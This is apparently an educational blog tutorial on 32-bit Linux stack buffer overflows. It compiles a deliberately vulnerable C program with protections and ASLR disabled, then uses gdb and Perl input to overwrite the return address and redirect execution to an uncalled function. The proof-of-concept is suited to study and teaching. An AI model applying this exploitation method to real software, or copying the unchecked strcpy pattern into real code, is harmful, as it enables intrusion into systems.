Introduction :
"In computer security and programming, a buffer overflow, or buffer overrun, is an anomaly where a program, while writing data to a buffer, overruns the buffer's boundary and overwrites adjacent memory locations." -- wikipedia
Buffer Overflow is a condition where the data transferred to a particular buffer, exceeds the storage capacity of the allocated buffer and some of the data "overflows" into another buffer and corrupts that buffer's data. It is a common software coding mistake. Generally a buffer overflow vulnerability can be lead to program crash or it can be also used to execute arbitrary code in the system.
Prerequisites :
i am assuming you are familiar with linux command line, gcc, gdb and basic C programming. Here a diagram of how a process layout in computer memory.
for more detail on Process layout visit link : http://duartes.org/g......rogram-in-memory/
You also need to understand how stack-frame is build when a function is called and destroyed when function returns. for details check out the link : http://www.csee.umbc.edu/~c.....stack.shtml
Some Important Registers :
ESP (Extended Stack Pointer) : Points to the Top of the stack.
EBP (Extended Base Pointer) : Points to the Bottom or Base of the stack.
EIP (Instruction Pointer) : It holds the address of the next CPU instruction to be executed.
Demonstration :
This is our demo code :
1: // bof.c
2: #include <stdio.h>
3: int main(int argc, char *argv[]) {
4: char buffer[512];
5: if(argc < 2) exit(0);
6: strcpy(buffer, argv[1]);
7: printf("%s\n", buffer);
8: return 0;
9: }
gcc -mpreferred-stack-boundary=2 -z execstack -fno-stack-protector -o bof1 bof1.c -ggdb
the above arguments are disable the modern security schemes, 'mpreferred-stack-boundary=2' sets the stack boundary to 4 byte, '-z execstack' disable the non-executable stack and 'fno-stack-protector' disable stack protection. For this demo i am using a lubuntu 14.04 i386 desktop, so i need to disable ASLR protection. To disable ASLR type following command on terminal
sudo su
echo 0 > /proc/sys/kernel/Randomize_va_space
and if you want to re-enable it then type echo 2 > /proc/sys/kernel/Randomize_va_space
To check weather it is disable or not, use the following command cat /proc/self/maps
run the above command at least two times, the output of the above command will beif ASLR is disabled then the address values for stack will remain same each time.Now lets try to run our compiled binary
ajay@SecLab2:~$ ./bof hello
hello
the program will gracefully exit. Our code allocates 512 bytes for buffer array. So lets try with 512 bytes of characters ajay@SecLab2:~$ ./bof `perl -e 'print "\x41"x512'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
ajay@SecLab2:~$
ajay@SecLab2:~$ ulimit -c unlimited
ajay@SecLab2:~$ ./bof `perl -e 'print "\x41"x520'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Segmentation fault (core dumped)
ajay@SecLab2:~$ gdb -q -c core
[New LWP 4697]
Core was generated by `./bof AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'.
Program terminated with signal SIGSEGV, Segmentation fault.
#0 0x41414141 in ?? ()
(gdb) bt
#0 0x41414141 in ?? ()
#1 0x00000000 in ?? ()
(gdb) i r eip
eip 0x41414141 0x41414141
When we increase the size of our input by 8 bytes, the Eip register will overwritten by "\x41414141" which is nothing but 'AAAA'. At above ' ulimit -c unlimited ' command is used to get the core dump. Now lets examine our program bof with gdb. First start gdb and set the breakpoint at strcpy() function ajay@SecLab2:~$ gdb -q bof
Reading symbols from bof...done.
(gdb) list 1
1 // bof.c
2 #include <stdio.h>
3 int main(int argc, char *argv[]) {
4 char buffer[512];
5 if(argc < 2) exit(0);
6 strcpy(buffer, argv[1]);
7 printf("%s\n", buffer);
8 return 0;
9 }
(gdb) break 6
Breakpoint 1 at 0x8048498: file bof.c, line 6.
(gdb) run `perl -e 'print "\x41"x512'`
Starting program: /home/ajay/bof `perl -e 'print "\x41"x512'`
Breakpoint 1, main (argc=2, argv=0xbffff034) at bof.c:6
6 strcpy(buffer, argv[1]);
(gdb) x &buffer
0xbfffed98: 0xb7fff000
(gdb) x/8xw $esp
0xbfffed90: 0x00000001 0xb7fd9858 0xb7fff000 0xb7fe8b9b
0xbfffeda0: 0xb7ffe000 0x00001000 0x00000001 0xb7fe8b5c
(gdb) p/x &buffer
$6 = 0xbfffed98
(gdb) x/xw buffer
0xbfffed98: 0xb7fff000
(gdb) x/xw $esp+8
0xbfffed98: 0xb7fff000
(gdb)
at this point the buffer array will hold garbage values '0x00020f30'. Lets look at rest of stack frame (gdb) x/8xw $esp + 8 + 512
0xbfffef98: 0x00000000 0xb7e32af3 0x00000002 0xbffff034
0xbfffefa8: 0xbffff040 0xb7feccca 0x00000002 0xbffff034
(gdb) x/8xw $ebp
0xbfffef98: 0x00000000 0xb7e32af3 0x00000002 0xbffff034
0xbfffefa8: 0xbffff040 0xb7feccca 0x00000002 0xbffff034
(gdb) disas 0xb7e32af3
Dump of assembler code for function __libc_start_main:
0xb7e32a00 <+0>: push %ebp
0xb7e32a01 <+1>: push %edi
0xb7e32a02 <+2>: push %esi
0xb7e32a03 <+3>: push %ebx
0xb7e32a04 <+4>: call 0xb7f3f7db <__x86.get_pc_thunk.bx>
0xb7e32a09 <+9>: add $0x1915f7,%ebx
...................................
0xb7e32bae <+430>: mov %edx,0x4(%esp)
0xb7e32bb2 <+434>: lea -0x4b144(%ebx),%edx
0xb7e32bb8 <+440>: mov %edx,(%esp)
0xb7e32bbb <+443>: call *0x1a4(%eax)
0xb7e32bc1 <+449>: jmp 0xb7e32a69 <__libc_start_main+105>
End of assembler dump.
(gdb) next
7 printf("%s\n", buffer);
(gdb) x/8xw $esp
0xbfffed90: 0xbfffed98 0xbffff20e 0x41414141 0x41414141
0xbfffeda0: 0x41414141 0x41414141 0x41414141 0x41414141
(gdb) x/8xw $esp+512
0xbfffef90: 0x41414141 0x41414141 0x00000000 0xb7e32af3
0xbfffefa0: 0x00000002 0xbffff034 0xbffff040 0xb7feccca
(gdb) continue
Continuing.
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
[Inferior 1 (process 4672) exited normally]
(gdb)
At this point the current stack is look like this :
(gdb) run `perl -e 'print "\x41"x516 . "\x42"x4'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/ajay/bof `perl -e 'print "\x41"x516 . "\x42"x4'`
Breakpoint 1, main (argc=2, argv=0xbffff034) at bof.c:6
6 strcpy(buffer, argv[1]);
(gdb) next
7 printf("%s\n", buffer);
(gdb) x/8xw $esp+512
0xbfffef90: 0x41414141 0x41414141 0x41414141 0x42424242
0xbfffefa0: 0x00000000 0xbffff034 0xbffff040 0xb7feccca
(gdb) x/8xw $ebp
0xbfffef98: 0x41414141 0x42424242 0x00000000 0xbffff034
0xbfffefa8: 0xbffff040 0xb7feccca 0x00000002 0xbffff034
(gdb) continue
Continuing.
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB
Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
(gdb) bt
#0 0x42424242 in ?? ()
#1 0x00000000 in ?? ()
(gdb)
Now we are able to control the flow of execution by overwriting the return address with our provided value. Here is the modified version of bof.c to test this scenario // bof.c
#include <stdio.h>
void NeverExecute(void) {
printf("This function Should never Execute.\n");
exit(0);
}
int main(int argc, char *argv[]) {
char buffer[512];
if(argc < 2) exit(0);
strcpy(buffer, argv[1]);
printf("%s\n", buffer);
return 0;
}
At above program NeverExecute() function will be never called by main function. So if we overwrite the return address with the address of NeverExecute() then we are able redirect the execution flow to NeverExecute() ajay@SecLab2:~$ gdb -q bof
Reading symbols from bof...done.
(gdb) disas NeverExecute
Dump of assembler code for function NeverExecute:
0x0804847d <+0>: push %ebp
0x0804847e <+1>: mov %esp,%ebp
0x08048480 <+3>: sub $0x4,%esp
0x08048483 <+6>: movl $0x8048580,(%esp)
0x0804848a <+13>: call 0x8048340 <puts@plt>
0x0804848f <+18>: movl $0x0,(%esp)
0x08048496 <+25>: call 0x8048360 <exit@plt>
End of assembler dump.
(gdb)
the address of NeverExecute() is 0x0804847d, and remember we need to write the address in reverse order, because i386 supports little-endian byte-order. ajay@SecLab2:~$ ./bof `perl -e 'print "\x41"x516 . "\x7d\x84\x04\x08"'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA}�
This function Should never Execute.
ajay@SecLab2:~$ echo $?
0
ajay@SecLab2:~$
We have successfully overwrite the return address with address of NeverExecute(). instead of executing default program instruction we can also inject and execute our own code. This is the very basic example of stack buffer overflow. In the next post we will look at how to inject and execute shellcode into the programs buffer.